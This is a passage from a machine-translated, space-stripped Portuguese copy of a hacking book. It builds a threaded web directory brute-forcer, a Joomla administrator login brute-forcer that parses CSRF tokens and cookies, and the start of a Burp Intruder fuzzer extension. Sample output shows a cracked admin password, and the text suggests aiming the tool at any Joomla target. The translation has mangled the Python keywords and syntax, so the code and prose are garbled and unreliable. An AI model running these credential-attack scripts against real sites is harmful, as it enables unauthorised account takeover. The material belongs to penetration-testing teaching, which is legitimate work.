ArrotoSuite,pararastrearositededestino,afimdedescobriromximodaaplicaowebcomo
possvel.Noentanto,emmuitoscasos,existemarquivosdeconfigurao,arquivosdedesenvolvimentodesobra,
depurarscriptseoutrosfarinhaderoscadeseguranaquepodemfornecerinformaessensveisouexponham
funcionalidadequeodesenvolvedordesoftwarenotinhaainteno.Anicamaneiradedescobrirestecontedo
usarumaferramentadeforarbrutaparacaarnomesdearquivosediretrioscomuns.
Nsvamosconstruirumaferramentasimplesqueiraceitarlistasdepalavrasdeforadoresbrutacomuns,comoaDirBuster
[11]
projecto[10]ouSVNDigger,etentativadedescobrirdiretriosearquivosquesoacessveisno
alvoservidorweb.Comoantes,vamoscriarumpooldethreadsparatentaragressivamenteparadescobrir
contedo.Vamoscomearcriandoalgumasfuncionalidadesparacriarumafiladeforadeumarquivodelistadepalavras.Abrirum
novoarquivo,onomedelecontent_bruter.py,einsiraoseguintecdigo:
urllib2deimportao
rosqueamentodeimportao
Filadeimportao
urllibimportao
tpicos
=50
AlvoURL
="Http://testphp.vulnweb.com"
wordlist_file="/tmp/all.txt"#deSVNDigger
currculo
=None
agentedeusurio
="Mozilla/5.0(X11x86_64Linuxrv:19,0)Gecko/20100101
Firefox/19.0"

build_wordlistdef(wordlist_file):

#Lernalistadepalavras
fd=open(wordlist_file,"rb")
raw_wordsfd.readlines=()

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

42/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

fd.close()
found_resume=False
palavras
=Queue.Queue()

porpalavraemraw_words:
word=word.rstrip()
SecurrculonoNone:
sefound_resume:
words.put(palavra)
outro:
seapalavra==currculo:
found_resume=True
print"Retomaralistadepalavrasapartirde:%s"%currculo
outro:
words.put(palavra)
retornarpalavras

Essafunoauxiliarbastantesimples.Lemosemumarquivodelistadepalavraseentocomearaiterao
sobrecadalinhanoarquivo.Temosalgumasfuncionalidadesbuiltinquenospermiteretomarumabrute
forandosessoseanossaconectividadederedeforinterrompidaouositededestinovaiparabaixo.Istopodeser
alcanadosimplesmentedefinindoocurrculovarivelparaoltimocaminhoqueoforcerbrutatentado.Quandoo
arquivointeirofoianalisado,voltamosaQueuecheiodepalavrasparausaremnossorealbruteforcing
funo.Vamosreutilizarestafunomaisadiantenestecaptulo.
Queremosalgumasfuncionalidadesbsicasparaestardisponvelparaonossoscriptforandobruta.Oprimeiroacapacidadede
aplicarumalistadeextensesparatestaraofazersolicitaes.Emalgunscasos,vocquisertentarnosa
/admindiretamenteparaoexemplo,masadmin.php,admin.inc,eadmin.html.
dir_bruterdef(word_queue,extenses=None):
enquantonoword_queue.empty():
tentativa=word_queue.get()
attempt_list=[]

#Verificarparaversehumaextensodearquivoseno,
#umcaminhodediretrioqueestamosbruting
Ese"."noemtentativa:
attempt_list.append("/%s
/"%tentativa)

outro:
attempt_list.append("/%s"%tentativa)
#SequeremosBruteforceextenses
seasextenses:
paraaextensoemextenses:
attempt_list.append("/%s%s"%(tentativa,extenso))
#Iteratesobreanossalistadetentativas
parabrutaemattempt_list:
url="%s%s"%(target_url,urllib.quote(bruta))

experimentar:
cabealhos={}
headers["UserAgent"]=user_agent
r=urllib2.Request(url,headers=cabealhos)

response=urllib2.urlopen(r)

iflen(response.read()):
print"[%d]=>%s"%(response.code,url)
exceptourllib2.URLError,e:

sehasattr(e,'code')ee.code=404!:
print"!!!%d=>%s"%(e.code,url)
passar

Nossadir_bruterfunoaceitaumafiladeobjetoquepreenchidocomaspalavrasausarparabrute
forandoeumalistaopcionaldeextensesdearquivoparatestar.Comeamosportestesparaversehumarquivo
extensonapalavraatual,esenohouver,nstratlocomoumdiretrioquequeremosparatestar
noservidorwebremoto.Sehouverumalistadeextensesdearquivopassados
em,entotomamosacorrente

palavraeaplicarcadaextensodearquivoquequeremostestar.Podesertilaquiparapensaremusar
extensescomo.origebaknotopodasextensesregulareslinguagemdeprogramao.Depoisnsconstrumos
umalistadetentativasdeforandobruta,vamosdefiniroUserAgentcabealhoparaalgoincuoetestaro
servidorwebremoto.Seocdigoderespostaum200,queasadadoURL,eserecebernada
masa404nstambmsadadeleporqueissopodeindicaralgointeressantenawebremoto
servidoralmdeumerro"arquivonoencontrado".
tilparaprestaratenoereagirsuasada,porque,dependendodaconfiguraodo
servidorwebremoto,vocpodeterquefiltrarmaiscdigosdeerroHTTP,afimdelimparoseu

resultados.Vamosterminaroroteiroatravsdacriaodenossalistadepalavras,criandoumalistadeextenses,efiao
osfiosforandobruta.
word_queue=build_wordlist(wordlist_file)
extenses=[".php",".bak",".orig",".inc"]
foriinrange(threads):
t=threading.Thread(target=dir_bruter,args=(word_queue,extenses,))
t.start()

Ofragmentodecdigoacimabastantesimplesedeveserfamiliaratagora.Nscomeamosnossalistade
palavrasaforabruta,criarumasimpleslistadeextensesdearquivoparatestar,edepoisgirarumgrupode
tpicosparafazerobruteforcing.

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

43/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

Chutarospneus
OWASPtemumalistadeonlineeoffline(mquinasvirtuais,ISOs,etc.)aplicaeswebvulnerveis
quevocpodetestaroseuferramentalcontra.Nestecaso,oURLquereferenciadonospontosdecdigofonte
aumaaplicaowebintencionalmentedebuggyhospedadoporAcunetix.Olegalqueelemostracomo
efetivaforandobruteumaaplicaowebpodeser.EurecomendoquevocdefinaoTHREAD_COUNTvarivelpara
algostaiscomo5eexecutaroscript.Empoucotempo,vocdevecomearaverresultados,comoo
aquelesabaixo:
[200]=>http://testphp.vulnweb.com/CVS/
[200]=>http://testphp.vulnweb.com/admin/
[200]=>http://testphp.vulnweb.com/index.bak
[200]=>http://testphp.vulnweb.com/search.php
[200]=>http://testphp.vulnweb.com/login.php
[200]=>http://testphp.vulnweb.com/images/
[200]=>http://testphp.vulnweb.com/index.php
[200]=>http://testphp.vulnweb.com/logout.php
[200]=>http://testphp.vulnweb.com/categories.php

Vocpodeverqueestamospuxandoalgunsresultadosinteressantesapartirdositeremoto.Eunopossoforar
bastanteaimportnciaderealizarbrutaforandoocontedocontratodasassuasmetasdeaplicaoweb.

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

44/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

BruteForandoaautenticaodeformulrioHTML
Podechegarummomentoemsuacarreirahackerwebondevocprecisasequerteracessoaumalvo,
ousevocestconsultando,podesernecessrioparaavaliaraforadasenhaemumsistemawebexistente.isto
tornousemaisemaiscomumparasistemaswebparaterproteodeforabruta,seum
captcha,umaequaomatemticasimples,ouumtokendeautenticaoquedeveserapresentadocomopedido.Existem
nmerodeforadoresbrutaquepodefazerobruteforcingdeumpedidoPOSTaologinscript,masemummonte
doscasos,elesnosoflexveisosuficienteparalidarcomcontedodinmicooulidarcomsimples"Vochumano"
Verificaes.VamoscriarumforcerbrutasimplesquevaisertilcontraJoomla,umcontedopopular
Sistemadegesto.sistemasJoomlamodernasincluemalgumastcnicasbsicasdeantiforabruta,masainda
bloqueiosdecontaafaltaoufortescaptchasporpadro.
AfimdebruteforceJoomla,temosdoisrequisitosqueprecisamseratendidos:recuperarotokendelogin
doformulriodeloginantesdeenviaratentativadesenhaegarantirqueaceitarcookiesnonosso
urllib2sesso.Nofimdeanalisarforaasdelogindeformulriovalores,vamosusaronativoPythonclasse
HTMLParser.Istovaitambmserumaboaturbilhoturndealgunsadicionaiscaractersticasdeurllib2que
vocpodeempregarnaconstruodeferramentasparaosseusprpriosobjectivos.Vamoscomearporterumolharparao
Joomlaformulriodelogindeadministrador.Istopodeserencontradonavegandoat
http://<yourtarget>.com/administrador/.Paraobemdabrevidade,eunicaincludoorelevante
elementosdeformulrio.
<Formaction="/administrador/index.php"method="post"id="formlogin"
class="forminline">
<Inputname="username"tabindex="1"id="modloginnomedeusurio"type="text"
class=espaoreservado="NomedeUsurio"tamanho"deentradademdia"="15"/>
<Inputname="passwd"tabindex="2"id=type"modloginsenha"="password"
class=espaoreservado="Password"tamanho"deentradademdia"="15"/>
<Selectid="lang"name="lang"class="inputboxadvancedSelect">
<Optionvalue=""selected="selected">IdiomaPadro</option>
<Optionvalue="ENGB">Ingls(ReinoUnido)</option>
</Select>
<Inputtype="hidden"name=valor"opo"="com_login"/>
<Inputtype="hidden"name=value"tarefa"="login"/>
<Inputtype="hidden"name=valor"retorno"="aW5kZXgucGhw"/>
<Inputtype="hidden"name=value"1796bae450f8430ba0d2de1656f3e0ec"="1"/>
</Form>

Leituraatravsdesteformulrio,estamosapardealgumasinformaesvaliosasquevamosprecisarparaincorporar
emnossaforcerbruta.Aprimeiraqueaformaficasubmetidoao/administrator/index.php
caminhocomoumHTTPPOST.Oprximosotodososcamposnecessriosparaqueoenviodoformulrioparaser
bemsucedido.Emparticular,sevocolharparaoltimocampooculto,vocverqueseuatributonomedefinidacomoum
longo,cordarandomizado.EstaaparteessencialdatcnicadeantiforandobrutadoJoomla.que
cadeiarandomizadoverificadoemrelaoasuasessoatualdousurio,armazenadoemumcookie,emesmosevocestiver
passarascredenciaiscorrectasparaoroteirodeprocessamentodelogin,seosinalaleatrionoestpresente,
aautenticaoirfalhar.Issosignificaquetemosdeusaroseguintefluxodesolicitaoemnossaforcerbruta
afimdeserbemsucedidacontraJoomla:
1.Recupereapginadelogin,eaceitartodososcookiesquesodevolvidos.
2.AnaliseatodososelementosdoformulriodoHTML.
3.Definaonomedeusurioe/ousenhaparaasuposiodenossodicionrio.

4.EnviarumHTTPPOSTparaoscriptdeprocessamentodelogin,incluindotodososcamposdoformulrioHTMLenossa
cookiesarmazenados.
5.Testeparaversetemosregistradocomsucessonoaplicativoweb.
Vocpodeverquevamosestarutilizandoalgumasnovasevaliosastcnicasnestescript.euvou
tambmmencionarquevocnuncadeve"treinar"oseuferramentalemumalvovivosempreconfigurarumainstalao
desuaaplicaowebalvocomcredenciaisconhecidoseverificarsevocobterosresultadosdesejados.
VamosabrirumnovoarquivodePythonchamadojoomla_killer.pyeinsiraoseguintecdigo:
urllib2deimportao
urllibimportao
cookielibimportao
rosqueamentodeimportao
sysimportao
Filadeimportao
deHTMLParserHTMLParserimportao
#ConfiguraesGerais
user_thread
=10
nomedeusurio="Admin"
wordlist_file="/tmp/cain.txt"
currculo
=None

#configuraesespecficasalvo
target_url
="Http://192.168.112.131/administrator/index.php"
target_post
="Http://192.168.112.131/administrator/index.php"

username_field="username"
password_field="passwd"
success_check="AdministraoControlePanel"

Essasconfiguraesgeraismerecemumpoucodeexplicao.Otarget_urlvarivelondenossoscript
vaiprimeirofazerodownloadeanalisaroHTML.Otarget_postvarivelondevamosapresentaranossa
bruteforcingtentativa.CombaseemnossabreveanlisedoHTMLnologindoJoomla,podemosdefiniro
username_fieldepassword_fieldvariveis
paraoapropriadonomedeasHTMLelementos.

Nossasuccess_checkvarivelumacadeiaquevamosverificardepoisdecadatentativa,forandobrutaem
Paradeterminarseformosbemsucedidosouno.Vamosagoracriaroencanamentoparaonossobruta
forceralgunsdososeguintecdigoserfamiliar,entoeusvoudestacarasmaisrecentestcnicas.
classeBruter(objeto):
def__init__(self,nomedeutilizador,palavras):

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

45/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin
self.username=username
self.password_q=palavras
self.found=False
imprimir"terminardeconfigurarpara:%s"%username

run_bruteforcedef(self):
foriinrange(user_thread):
t=threading.Thread(target=self.web_bruter)
t.start()
web_bruterdef(self):

enquantonoself.password_q.empty()enoself.found:
bruta=self.password_q.get().RSTRIP()
jar=cookielib.FileCookieJar("cookies")
abridor=urllib2.build_opener(urllib2.HTTPCookieProcessor(jar))

response=opener.open(target_url)
page=response.read()
print"Tentando:%s:%s(%desquerda)"%(self.username,bruto,auto.
password_q.qsize())

#Analisaroscamposocultos
analisadorBruteParser=()
parser.feed(pgina)
post_tags=parser.tag_results

#Adicionarnossoscamposusernameepassword
post_tags[username_field]=self.username
post_tags[password_field]=bruta
login_data=urllib.urlencode(post_tags)
login_response=opener.open(target_post,login_data)
login_resultlogin_response.read=()

sesuccess_checkemlogin_result:
self.found=True
print"[*]Bruteforcebemsucedido."
print"[*]Nomedeusurio:%s"%username
print"[*]Senha:%s"%bruta
print"[*]Esperandoporoutrossegmentosparasair..."

Estaanossaclasseforandobrutaprimria,quevailidarcomtodasassolicitaesHTTPegerenciar
biscoitosparans.Depoisqueagarraranossatentativadesenha,montamosnossopotedebiscoitosusandoo
FileCookieJarclassequeirarmazenarosbiscoitosemobiscoitosarquivo.Emseguidavamosiniciaronossourllib2
abridor,passandonabotijainicializado,quedizurllib2fazerpassaroscookiesparaele.Ns
emseguida,fazeropedidoinicialpararecuperaroformulriodelogin.QuandotemosoHTMLpuro,nspasslo
paraonossoanalisadorHTMLechamarasuaalimentaomtodo,queretornaumdicionriodetodasasrecuperado
elementosdeformulrio.DepoisdetermosanalisadocomxitoocdigoHTML,podemossubstituironomedeusurioesenha
camposcomnossatentativaforandobruta.EmseguidansURLcodificarasvariveis
P OST,edepoispass

losnossasolicitaoHTTPsubsequente.Depoisquerecuperaroresultadodanossatentativadeautenticao,ns
testarseaautenticaofoibemsucedidaouno.AgoravamosimplementaroncleodonossoHTML
emprocessamento.Adicioneaseguinteclasseaoseujoomla_killer.pyscript:
classeBruteParser(HTMLParser):
def__init__(self):
HTMLParser.__oinit__(self)
self.tag_results={}

handle_starttagdef(auto,tag,attrs):
setag=="input":
tag_name=None
tag_value=None
paraonome,valornoattrs:
seonome=="name":
tag_name=valor
seonome=="valor":
tag_value=valor
setag_namenoNone:
self.tag_results[tag_name]=valor

EstaconstituiaclassedeanliseHTMLespecficaquequeremosusarcontraonossoalvo.Depoisdetero
noesbsicasdeutilizaodoHTMLParserclasse,vocpodeadaptloparaextrairinformaesapartirdequalquerweb
aplicativoquevocpodeestaratacando.Aprimeiracoisaquefazemoscriarumdicionrioemqueanossa

resultadosserarmazenado.Quandochamamosaalimentaofuno,elepassaemtodoodocumentoHTMLe
nossahandle_starttagfunochamadasemprequeumatagsejaencontrada.Emparticular,nsestamosolhando
paraHTMLdeentradamarcasenossoprocessamentoprincipalocorrequandodeterminamosqueencontramosum.
Comeamosaiteraosobreosatributosdamarca,eseencontraronomeouovaloratributos,ns
associlosnatag_resultsdicionrio.ApsoHTMLfoiprocessado,onossobrute
classeforandopode,ento,substituiroscamposnomedeusurioesenha,deixandoorestantedo
camposintactos.
HTMLPARSER101
ExistemtrsmtodosprincipaisquevocpodeimplementaraousaroHTMLParserclasse:handle_starttag,handle_endtage
handle_data.Thehandle_starttagfunctionwillbecalledanytimeanopeningHTMLtagisencountered,andtheoppositeistrue
paraohandle_endtagfuno,quechamadocadavezqueumatagHTMLfechamentoencontrado.Ohandle_datafunoobtm
chamadoquandohumtextoembrutoentretags.Osprottiposdefunesparacadafunosoligeiramentediferentes,comosesegue:
handle_starttag(self,tag,atributos)
handle_endttag(self,tag)
handle_data(self,dedados)

Umexemplorpidoparadestacaroseguinte:
<Title>Pythonrochas!</Title>
handle_starttag=>tagvarivelseria"ttulo"

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

46/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

handle_data
handle_endtag

=>Variveldedadosseria"Pythonrocks!"
=>Tagvarivelseria"ttulo"

ComesteentendimentobsicodoHTMLParserclasse,vocpodefazercoisascomoformasdeanlise,encontrarligaesparaspidering,extrairtodos
otextopuroparafinsdemineraodedados,ouencontrartodasasimagensemumapgina.

ParaencerrarnossaforcerJoomlabruta,vamoscopiarecolarobuild_wordlistfunodonossoanterior
seoeadicioneoseguintecdigo:
#Colarafunobuild_wordlistaqui
palavras=build_wordlist(wordlist_file)
bruter_obj=Bruter(nomedeutilizador,palavras)
bruter_obj.run_bruteforce()

issoa!NssimplesmentepassaronomedeusurioeanossalistadepalavrasparaanossaBruterclasseeveramgica
acontecer.

Chutarospneus
SevocnotemJoomlainstaladoemseuKaliVM,entovocdeveinstalloagora.OmeuobjectivoVM
no192.168.112.131eestouusandoumalistadepalavrasfornecidaporCaimeAbel,[12]umbrutepopulares
forandoerachadurasconjuntodeferramentas.Jpredefinironomedeusurioparaadministradoreasenhaparajustin
nainstalaodoJoomlaparaqueeupossatercertezaquefunciona.Euadicioneientojustinaocain.txtlistadepalavras
apresentarcercade50entradasoumaisparabaixooarquivo.Aoexecutaroscript,receboaseguintesada:
$Python2.7joomla_killer.py
definioterminoupor:admin
Tentando:admin:0racl38(306.697esquerda)
Tentando:admin:!@#$%(306.697esquerda)
Tentando:admin:!@#$%^(306.697esquerda)
Snip
Tentando:admin:1p2o3i(306.659esquerda)
Tentando:admin:1qw23e(306657esquerda)
Tentando:admin:1q2w3e(306656esquerda)
Tentando:admin:1sanjose(306.655esquerda)
Tentando:admin:2(306655esquerda)
Tentando:admin:justin(306.655esquerda)
Tentando:admin:2112(306646esquerda)
[*]Bruteforcebemsucedida.
[*]Nomedeusurio:admin
[*]Senha:justin
[*]Esperandoporoutrossegmentosparasair...
Tentando:admin:249(306646esquerda)
Tentando:admin:2welcome(306646esquerda)

VocpodeverquecomsucessoBrutoforaseefetualoginnoconsoledoadministradordoJoomla.Para
verificar,vocnaturalmenteirialogmanualmenteecertifiquese.Depoisdetestarissolocalmenteevocest
certodequeelefunciona,vocpodeusarestaferramentacontraumainstalaodoJoomladesuaescolhadedestino.
[10] DirBusterProjeto:https://www.owasp.org/index.php/Category:OWASP_DirBuster_Project
[11] SVNDiggerProjeto:https://www.mavitunasecurity.com/blog/svndiggerbetterlistsforforcedbrowsing/
[12] CaimeAbel:http://www.oxid.it/cain.html

Captulo6.EstendendoBurpProxy
Sevocjtentoucortarumaaplicaoweb,vocjdeveterusadoarrotoSuiteparaexecutarspidering,
otrfegodonavegadorproxy,erealizaroutrosataques.AsversesrecentesdoarrotoSuiteincluemacapacidadede
file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

47/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

adicioneseuprprioferramental,chamadoExtensions,paraarrotar.UsandoPython,RubyouJavapura,vocpodeadicionar
painisnoBurpGUIeconstruirtcnicasdeautomaoparaBurpSuite.Nsvamostomar
vantagemdestacaractersticaeadicionaralgumferramentaltilparaarrotarpararealizarataqueseestendida
reconhecimento.AprimeiraextensovainospermitirutilizarumasolicitaoHTTPinterceptadodoBurp
ProxycomoumasementeparaacriaodeumfuzzermutaoquepodeserexecutadoemBurpIntruder.Asegundaextenso
irinteragircomaAPIMicrosoftBingparanosmostrartodososhostsvirtuaislocalizadosnomesmoendereoIP
comonossolocalalvo,bemcomotodosossubdomniosdetectadosparaodomnioalvo.
Euestouindosuporquevocjjogoucomarrotoantesequevocsabecomoapedidosarmadilha
comaferramentaProxy,bemcomoaformadeenviarumpedidodepresoparaarrotarIntruder.Sevocprecisadeumtutorial
sobrecomofazeressastarefas,visitePortSwiggerWebSecurity(http://www.portswigger.net/)paraobter
comeou.

Eutenhoqueadmitirque,quandoeucomeceiaexploraraAPIBurpExtender,elemelevoualgumastentativasde
entendercomofuncionava.Euacheiqueeraumpoucoconfuso,comoeusouumcaradePythonpuroeterJavalimitado
experinciaemdesenvolvimento.Maseudescobriumasriedeextensesnositedoarrotoquemedeixavercomo
outraspessoastinhamdesenvolvidoextenses,eeuuseiqueaarteantesdemeajudaraentendercomocomear
implementaromeuprpriocdigo.Euestouindoparacobriralgumasnoesbsicassobreaextensofuncionalidade,maseuvoutambm
mostrarlhecomousaradocumentaodaAPIcomoumguiaparaodesenvolvimentodesuasprpriasextenses.

Configurando
Primeiro,baixearrotodehttp://www.portswigger.net/eobtloprontoparair.Totristecomoissomefaz
aadmitirisso,vocvainecessitardeumainstalaoJavamoderna,quetodosossistemasoperacionaisquerter
pacotesouinstaladorespara.OprximopassopegaroJython(umaimplementaoPythonescritoem
Java)arquivoJARautnomovamosapontarBurpaisso.VocpodeencontrarestearquivoJARnositeNoStarch
juntamentecomorestodocdigodolivro(http://www.nostarch.com/blackhatpython/)ouvisiteo
siteoficial,http://www.jython.org/downloads.htmleselecioneoJython2.7StandaloneInstaller.
NosedeixeenganarpelonomeapenasumarquivoJAR.SalveoarquivoJARparaumlocalfcildelembrar,
talcomooseuDesktop.
Emseguida,abraumterminaldelinhadecomandoeexecutarBurpassim:
#>JavaXX:MaxPermSize=1Gjarburpsuite_pro_v1.6.jar

Issovaificararrotoaofogoparacimaevocdeveversuainterfacecompletadeguiasmaravilhosos,comomostradonaFigura61.
AgoraBurppontodedeixaremnossointrpreteJython.CliquenoExtenderguia,ecliquenasopes
guia.NaseoPythonAmbiente,selecioneolocaldoseuarquivoJARJython,comomostradona
Figura62.
Vocpodedeixarorestodasopessozinho,edevemosestarprontosparainiciaracodificaonossaprimeiraextenso.
Vamosficardebalano!

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

48/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

Figura61.ArrotoSuiteGUIcarregadocorretamente

Figura62.ConfigurandoolocalinterpretadorJython

arrotoFuzzing
Emalgummomentodesuacarreira,vocpodeencontrarseatacarumaaplicaowebouserviowebque
nopermitequevocuseferramentasdeavaliaodeaplicaeswebtradicionais.Setrabalharcomum
protocolobinrioacondicionadadentrodetrfegoHTTPousolicitaesJSONcomplexas,fundamentalquevoc
capazdetestarparaerrosdeaplicaeswebtradicionais.Oaplicativopodeestarusandomuitosparmetros,
ouofuscadodealgummodoquearealizaodeumtestemanuallevariatempodemais.eutambmtenho
sidoculpadodeexecutarferramentaspadroquenosoprojetadosparalidarcomprotocolosdeestranhosoumesmo
JSON,emmuitosdoscasos.Esteemquetilparasercapazdeaproveitararrotoparaestabelecerumslido
linhadebasedetrfegoHTTP,incluindobiscoitosdeautenticao,aopassarforadocorpodopedido
aumfuzzerpersonalizadoquepodeentomanipularacargatilemqualquermaneiraquevocescolher.Estamosindoparaotrabalho
emnossaprimeiraextensoBurpparacriarmaissimplesfuzzeraplicaowebdomundo,quevocpodeento
expandiremalgomaisinteligente.
Arrototemumasriedeferramentasquevocpodeusarquandovocestrealizandotestesdeaplicaoweb.Tipicamente,
vocvaiarmadilhatodasassolicitaesusandooProxy,equandovocvuminteressantepassadopedidoir,vocvaienviar
loparaoutraferramentaBurp.UmatcnicacomumqueeuusoparaenvilosparaaferramentaRepeater,quemepermite
trfegowebderepetio,bemcomomodificarmanualmentetodosospontosinteressantes.Paraexecutarmaisautomatizado
ataquesemparmetrosdeconsulta,vocvaienviarumpedidoparaaferramentaIntruder,quetenta
determinarautomaticamentequaisreasdotrfegodawebdevesermodificado,emseguida,permitequevocuse
umavariedadedeataquesparatentarprovocarmensagensdeerrooudestrincharvulnerabilidades.Umaextensodearrotopode
interagirdediversasformascomasutedeferramentasdearroto,enonossocasonsestaremostrancandoadicional
funcionalidadeparaaferramentadeIntruderdiretamente.
MeuprimeiroinstintonaturalparadarumaolhadanadocumentaodoBurpAPIparadeterminaroqueBurp
file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

49/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

classesIprecisaestenderafimdeescreveraminhaextensopersonalizada.Podeacederaestadocumentaopormeio
clicandonoExtenderabaeentoaAPIsguia.Issopodeparecerumpoucoassustadorporqueparece(e
)muitoJavay.AprimeiracoisaquenotamosqueosdesenvolvedoresdoBurpterapropriadamentechamadocadaclasse
demodoquefcildedescobrirondequeremoscomear.Emparticular,porquensestamosolhandoparafuzzing
solicitaesdawebduranteumataqueIntruder,vejooIIntruderPayloadGeneratorFactorye
IIntruderPayloadGeneratorclasses.Vamostomarumaolhadanoqueadocumentaodizparao
IIntruderPayloadGeneratorFactoryclasse:
/**
*Asextensespodemimplementaressainterfaceedepoischamar
*IBurpExtenderCallbacks.registerIntruderPayloadGeneratorFactory()
*AregistarumafbricaparacargasteisIntruderpersonalizado.
*/

IIntruderPayloadGeneratorFactoryinterfacepblica
{
/**
*Estemtodoutilizadoporarrotoobteronomedacargatil
*Gerador.Issoserexibidocomoumaopodentrodo
*UIIntruderquandoousurioselecionaausargeradoporextenso
*Cargasteis.

*
*returnOnomedogeradordecargatil.
*/
CordasgetGeneratorName()
/**
*EstemtodousadoporarrotoquandoousurioiniciaumIntruso
*Ataquequeusaestegeradordecargatil.

*@Paramataque
*UmobjetoIIntruderAttackquepodeserconsultadoparaobterdetalhes
*Sobreoataqueemqueogeradordecargavaiserusado.
*returnUmanovainstncia
*IIntruderPayloadGeneratorqueirserutilizadoparagerar
*Cargasteisparaoataque.
*/

IIntruderPayloadGeneratorcreateNewInstance(ataqueIIntruderAttack)
}

Oprimeirobitdadocumentaodiznosparaobteronossoramalregistradocorretamentecomoarroto.Estamos
vaiestenderaclasseprincipalarroto,bemcomooIIntruderPayloadGeneratorFactoryclasse.
Emseguida,vemosqueBurpestesperandoduasfunesparaestarpresentenanossaclasseprincipal.o
getGeneratorNamefunovaiserchamadopeloarrotopararecuperaronomedenossaextenso,ens
soesperadospararetornarumastring.OcreateNewInstancefunoesperaqueretornarumainstncia
doIIntruderPayloadGenerator,queserumasegundaclassequetemosquecriar.
AgoravamosimplementarocdigoPythonrealparaatenderaessesrequisitos,edepoisvamosvercomo
oIIntruderPayloadGeneratorclasseadicionado.AbraumnovoarquivoPython,nomelobhp_fuzzer.py,
eperfurarparaforaoseguintecdigo:
doarrotodeimportaoIBurpExtender
dearrotoIIntruderPayloadGeneratorFactoryimportao
dearrotoIIntruderPayloadGeneratorimportao
dalistadeimportaojava.util,ArrayList
importaoaleatria
classeBurpExtender(IBurpExtender,IIntruderPayloadGeneratorFactory):
registerExtenderCallbacksdef(self,chamadasderetorno):
self._callbacks=callbacks
self._helpers=()callbacks.getHelpers

callbacks.registerIntruderPayloadGeneratorFactory(self)
Retorna
defgetGeneratorName(self):
retornar"PayloadGeneratorBHP"

defcreateNewInstance(self,ataque):
voltarBHPFuzzer(self,ataque)

Portanto,esteosimplesesqueletodoqueprecisamosafimdesatisfazeroprimeiroconjuntoderequisitosparaonosso
extenso.TemosqueprimeiroimportaroIBurpExtenderclasse,oqueumrequisitoparatodosos
extensoqueescrevemos.NsacompanharestaimportandonossasclassesnecessriasparaacriaodeumIntruso
geradordecargatil.Emseguida,definimosanossaBurpExtenderclasse,queestendeaIBurpExtender
eIIntruderPayloadGeneratorFactoryclasses.Emseguida,usamoso
registerIntruderPayloadGeneratorFactoryfunopararegistaranossaclassedemodoqueoIntruder
ferramentaestcientedequepodemosgerarcargasteis.EmseguidavamosimplementaragetGeneratorNamefuno
parasimplesmenteretornaronomedenossogeradordepaycarga.OltimopassoacreateNewInstancefuno
querecebeoataqueparmetroeretornaumexemplodeoIIntruderPayloadGenerator
classe,quechamamosBHPFuzzer.
VamosdarumaolhadanadocumentaoparaoIIntruderPayloadGeneratorclassesabemosdoque
implementar.
/**

*EstainterfaceutilizadaparageradoresdecargatilIntruderpersonalizado.
*Extenses
*Queregistouum
*IIntruderPayloadGeneratorFactorydeveretornarumanovainstncia
*Estainterfacequandonecessrio,comopartedeumnovoataqueIntruder.
*/
IIntruderPayloadGeneratorinterfacepblica
{
/**
*Estemtodoutilizadoporarrotoparadeterminarseacargatil
*Geradorcapazdefornecerquaisqueroutrascargasteis.
*
*Extensesreturndeveretornar
*Falsaquandotodasascargasdisponveisforamesgotadas,

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

50/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

*Casocontrrioverdadeiro
*/
booleanhasMorePayloads()
/**
*Estemtodoutilizadoporarrotoparaobterovalordaprximacarga.
*
*@ParambaseValueOvalorbasedaposiodecargaatual.
*Estevalorpodesernuloseoconceitodeumvalorbaseno
*Aplicvel(porexemplo,emumataquedearete).
*returnAprximacargatilparausarnoataque.
*/

byte[]getNextPayload(byte[]baseValue)

/**
*Estemtodoutilizadoporarrotoparareporoestadodacargatil
*Geradordemodoqueaprximachamadapara
*GetNextPayload()retornaaprimeiracargatilnovamente.este
*Mtodoserinvocadoquandoumataqueusaamesmacargatil
*Geradorparamaisdoqueumaposiodecargatil,porexemplo,numa
*Ataquesniper.
*/
vazioreset()
}

